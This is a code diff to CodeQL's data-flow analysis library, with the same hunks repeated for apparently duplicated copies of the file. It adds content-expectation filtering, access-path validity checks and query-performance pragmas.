@@ -1987,7 +2039,12 @@ private module Stage3 {
|
||||
exists(state) and
|
||||
exists(config) and
|
||||
not clear(node, ap, config) and
|
||||
if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
|
||||
(if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
expectsContentCand(node, ap, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -2452,10 +2509,24 @@ private module Stage3 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3279,10 +3350,24 @@ private module Stage4 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3351,17 +3436,28 @@ private Configuration unbindConf(Configuration conf) {
|
||||
exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
|
||||
}
|
||||
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary0(
|
||||
NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c, AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, _) and
|
||||
exists(AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, _, _) and
|
||||
Stage4::revFlow(n, state, true, _, apa0, config) and
|
||||
Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
|
||||
n.getEnclosingCallable() = c
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, config) and
|
||||
nodeMayUseSummary0(n, c, state, apa, config)
|
||||
)
|
||||
}
|
||||
|
||||
private newtype TSummaryCtx =
|
||||
TSummaryCtxNone() or
|
||||
TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
|
||||
@@ -4257,6 +4353,12 @@ private module Subpaths {
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
|
||||
succ = pred.getASuccessor() and
|
||||
succNode = succ.getNodeEx()
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
|
||||
* a subpath between `par` and `ret` with the connecting edges `arg -> par` and
|
||||
@@ -4264,15 +4366,13 @@ private module Subpaths {
|
||||
*/
|
||||
predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
|
||||
exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
|
||||
pragma[only_bind_into](arg).getASuccessor() = par and
|
||||
pragma[only_bind_into](arg).getASuccessor() = out0 and
|
||||
subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
|
||||
pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
|
||||
subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
|
||||
hasSuccessor(pragma[only_bind_into](arg), par, p) and
|
||||
not ret.isHidden() and
|
||||
par.getNodeEx() = p and
|
||||
out0.getNodeEx() = o and
|
||||
out0.getState() = sout and
|
||||
out0.getAp() = apout and
|
||||
(out = out0 or out = out0.projectToSink())
|
||||
pathNode(out0, o, sout, _, _, apout, _, _)
|
||||
|
|
||||
out = out0 or out = out0.projectToSink()
|
||||
)
|
||||
}
|
||||
|
||||
@@ -4609,6 +4709,10 @@ private module FlowExploration {
|
||||
exists(PartialPathNodeRev mid |
|
||||
revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
|
||||
not clearsContentEx(node, ap.getHead()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead())
|
||||
) and
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
|
||||
@@ -4625,6 +4729,10 @@ private module FlowExploration {
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
not clearsContentEx(node, ap.getHead().getContent()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead().getContent())
|
||||
) and
|
||||
if node.asNode() instanceof CastingNode
|
||||
then compatibleTypes(node.getDataFlowType(), ap.getType())
|
||||
else any()
|
||||
|
||||
@@ -498,23 +498,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
|
||||
exists(ContentSet cs |
|
||||
readSet(node1, cs, node2, config) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate clearsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
clearsContentCached(n.asNode(), cs) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
bindingset[c]
|
||||
private predicate expectsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
expectsContentCached(n.asNode(), cs) and
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate store(
|
||||
NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
|
||||
@@ -793,7 +805,7 @@ private module Stage1 {
|
||||
* by `revFlow`.
|
||||
*/
|
||||
pragma[nomagic]
|
||||
private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
revFlowConsCand(c, conf) and
|
||||
revFlowStore(c, _, _, conf)
|
||||
}
|
||||
@@ -891,7 +903,7 @@ private module Stage1 {
|
||||
|
||||
pragma[nomagic]
|
||||
predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
|
||||
revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
|
||||
revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
read(n1, c, n2, pragma[only_bind_into](config)) and
|
||||
revFlow(n2, pragma[only_bind_into](config))
|
||||
}
|
||||
@@ -1181,11 +1193,26 @@ private module Stage2 {
|
||||
|
||||
private predicate flowIntoCall = flowIntoCallNodeCand1/5;
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[node, state, ap, config]
|
||||
private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
|
||||
PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
|
||||
exists(ap) and
|
||||
not stateBarrier(node, state, config)
|
||||
not stateBarrier(node, state, config) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
ap = true and
|
||||
expectsContentCand(node, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -1646,10 +1673,24 @@ private module Stage2 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -1740,7 +1781,8 @@ private module LocalFlowBigStep {
|
||||
private class FlowCheckNode extends NodeEx {
|
||||
FlowCheckNode() {
|
||||
castNode(this.asNode()) or
|
||||
clearsContentCached(this.asNode(), _)
|
||||
clearsContentCached(this.asNode(), _) or
|
||||
expectsContentCached(this.asNode(), _)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1979,6 +2021,16 @@ private module Stage3 {
|
||||
clearContent(node, ap.getHead().getContent(), config)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c) and
|
||||
c = ap.getHead().getContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
|
||||
|
||||
@@ -1987,7 +2039,12 @@ private module Stage3 {
|
||||
exists(state) and
|
||||
exists(config) and
|
||||
not clear(node, ap, config) and
|
||||
if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
|
||||
(if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
expectsContentCand(node, ap, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -2452,10 +2509,24 @@ private module Stage3 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3279,10 +3350,24 @@ private module Stage4 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3351,17 +3436,28 @@ private Configuration unbindConf(Configuration conf) {
|
||||
exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
|
||||
}
|
||||
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary0(
|
||||
NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c, AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, _) and
|
||||
exists(AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, _, _) and
|
||||
Stage4::revFlow(n, state, true, _, apa0, config) and
|
||||
Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
|
||||
n.getEnclosingCallable() = c
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, config) and
|
||||
nodeMayUseSummary0(n, c, state, apa, config)
|
||||
)
|
||||
}
|
||||
|
||||
private newtype TSummaryCtx =
|
||||
TSummaryCtxNone() or
|
||||
TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
|
||||
@@ -4257,6 +4353,12 @@ private module Subpaths {
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
|
||||
succ = pred.getASuccessor() and
|
||||
succNode = succ.getNodeEx()
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
|
||||
* a subpath between `par` and `ret` with the connecting edges `arg -> par` and
|
||||
@@ -4264,15 +4366,13 @@ private module Subpaths {
|
||||
*/
|
||||
predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
|
||||
exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
|
||||
pragma[only_bind_into](arg).getASuccessor() = par and
|
||||
pragma[only_bind_into](arg).getASuccessor() = out0 and
|
||||
subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
|
||||
pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
|
||||
subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
|
||||
hasSuccessor(pragma[only_bind_into](arg), par, p) and
|
||||
not ret.isHidden() and
|
||||
par.getNodeEx() = p and
|
||||
out0.getNodeEx() = o and
|
||||
out0.getState() = sout and
|
||||
out0.getAp() = apout and
|
||||
(out = out0 or out = out0.projectToSink())
|
||||
pathNode(out0, o, sout, _, _, apout, _, _)
|
||||
|
|
||||
out = out0 or out = out0.projectToSink()
|
||||
)
|
||||
}
|
||||
|
||||
@@ -4609,6 +4709,10 @@ private module FlowExploration {
|
||||
exists(PartialPathNodeRev mid |
|
||||
revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
|
||||
not clearsContentEx(node, ap.getHead()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead())
|
||||
) and
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
|
||||
@@ -4625,6 +4729,10 @@ private module FlowExploration {
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
not clearsContentEx(node, ap.getHead().getContent()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead().getContent())
|
||||
) and
|
||||
if node.asNode() instanceof CastingNode
|
||||
then compatibleTypes(node.getDataFlowType(), ap.getType())
|
||||
else any()
|
||||
|
||||
@@ -498,23 +498,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
|
||||
exists(ContentSet cs |
|
||||
readSet(node1, cs, node2, config) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
pragma[inline]
|
||||
bindingset[c]
|
||||
private predicate clearsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
clearsContentCached(n.asNode(), cs) and
|
||||
c = cs.getAReadContent()
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
// inline to reduce fan-out via `getAReadContent`
|
||||
bindingset[c]
|
||||
private predicate expectsContentEx(NodeEx n, Content c) {
|
||||
exists(ContentSet cs |
|
||||
expectsContentCached(n.asNode(), cs) and
|
||||
pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate store(
|
||||
NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
|
||||
@@ -793,7 +805,7 @@ private module Stage1 {
|
||||
* by `revFlow`.
|
||||
*/
|
||||
pragma[nomagic]
|
||||
private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
predicate revFlowIsReadAndStored(Content c, Configuration conf) {
|
||||
revFlowConsCand(c, conf) and
|
||||
revFlowStore(c, _, _, conf)
|
||||
}
|
||||
@@ -891,7 +903,7 @@ private module Stage1 {
|
||||
|
||||
pragma[nomagic]
|
||||
predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
|
||||
revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
|
||||
revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
read(n1, c, n2, pragma[only_bind_into](config)) and
|
||||
revFlow(n2, pragma[only_bind_into](config))
|
||||
}
|
||||
@@ -1181,11 +1193,26 @@ private module Stage2 {
|
||||
|
||||
private predicate flowIntoCall = flowIntoCallNodeCand1/5;
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[node, state, ap, config]
|
||||
private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
|
||||
PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
|
||||
exists(ap) and
|
||||
not stateBarrier(node, state, config)
|
||||
not stateBarrier(node, state, config) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
ap = true and
|
||||
expectsContentCand(node, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -1646,10 +1673,24 @@ private module Stage2 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -1740,7 +1781,8 @@ private module LocalFlowBigStep {
|
||||
private class FlowCheckNode extends NodeEx {
|
||||
FlowCheckNode() {
|
||||
castNode(this.asNode()) or
|
||||
clearsContentCached(this.asNode(), _)
|
||||
clearsContentCached(this.asNode(), _) or
|
||||
expectsContentCached(this.asNode(), _)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1979,6 +2021,16 @@ private module Stage3 {
|
||||
clearContent(node, ap.getHead().getContent(), config)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
|
||||
exists(Content c |
|
||||
PrevStage::revFlow(node, pragma[only_bind_into](config)) and
|
||||
PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
|
||||
expectsContentEx(node, c) and
|
||||
c = ap.getHead().getContent()
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
|
||||
|
||||
@@ -1987,7 +2039,12 @@ private module Stage3 {
|
||||
exists(state) and
|
||||
exists(config) and
|
||||
not clear(node, ap, config) and
|
||||
if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
|
||||
(if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
|
||||
(
|
||||
notExpectsContent(node)
|
||||
or
|
||||
expectsContentCand(node, ap, config)
|
||||
)
|
||||
}
|
||||
|
||||
bindingset[ap, contentType]
|
||||
@@ -2452,10 +2509,24 @@ private module Stage3 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3279,10 +3350,24 @@ private module Stage4 {
|
||||
storeStepFwd(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
storeStepCand(_, ap, tc, _, _, config)
|
||||
}
|
||||
|
||||
private predicate validAp(Ap ap, Configuration config) {
|
||||
revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
|
||||
or
|
||||
exists(TypedContent head, Ap tail |
|
||||
consCand(head, tail, config) and
|
||||
ap = apCons(head, tail)
|
||||
)
|
||||
}
|
||||
|
||||
predicate consCand(TypedContent tc, Ap ap, Configuration config) {
|
||||
revConsCand(tc, ap, config) and
|
||||
validAp(ap, config)
|
||||
}
|
||||
|
||||
pragma[noinline]
|
||||
private predicate parameterFlow(
|
||||
ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
|
||||
@@ -3351,17 +3436,28 @@ private Configuration unbindConf(Configuration conf) {
|
||||
exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
|
||||
}
|
||||
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary0(
|
||||
NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c, AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, _) and
|
||||
exists(AccessPathApprox apa0 |
|
||||
Stage4::parameterMayFlowThrough(_, c, _, _) and
|
||||
Stage4::revFlow(n, state, true, _, apa0, config) and
|
||||
Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
|
||||
n.getEnclosingCallable() = c
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate nodeMayUseSummary(
|
||||
NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
|
||||
) {
|
||||
exists(DataFlowCallable c |
|
||||
Stage4::parameterMayFlowThrough(_, c, apa, config) and
|
||||
nodeMayUseSummary0(n, c, state, apa, config)
|
||||
)
|
||||
}
|
||||
|
||||
private newtype TSummaryCtx =
|
||||
TSummaryCtxNone() or
|
||||
TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
|
||||
@@ -4257,6 +4353,12 @@ private module Subpaths {
|
||||
)
|
||||
}
|
||||
|
||||
pragma[nomagic]
|
||||
private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
|
||||
succ = pred.getASuccessor() and
|
||||
succNode = succ.getNodeEx()
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
|
||||
* a subpath between `par` and `ret` with the connecting edges `arg -> par` and
|
||||
@@ -4264,15 +4366,13 @@ private module Subpaths {
|
||||
*/
|
||||
predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
|
||||
exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
|
||||
pragma[only_bind_into](arg).getASuccessor() = par and
|
||||
pragma[only_bind_into](arg).getASuccessor() = out0 and
|
||||
subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
|
||||
pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
|
||||
subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
|
||||
hasSuccessor(pragma[only_bind_into](arg), par, p) and
|
||||
not ret.isHidden() and
|
||||
par.getNodeEx() = p and
|
||||
out0.getNodeEx() = o and
|
||||
out0.getState() = sout and
|
||||
out0.getAp() = apout and
|
||||
(out = out0 or out = out0.projectToSink())
|
||||
pathNode(out0, o, sout, _, _, apout, _, _)
|
||||
|
|
||||
out = out0 or out = out0.projectToSink()
|
||||
)
|
||||
}
|
||||
|
||||
@@ -4609,6 +4709,10 @@ private module FlowExploration {
|
||||
exists(PartialPathNodeRev mid |
|
||||
revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
|
||||
not clearsContentEx(node, ap.getHead()) and
|
||||
(
|
||||
notExpectsContent(node) or
|
||||
expectsContentEx(node, ap.getHead())
|
||||
) and
|
||||
not fullBarrier(node, config) and
|
||||
not stateBarrier(node, state, config) and
|
||||
distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
|
||||
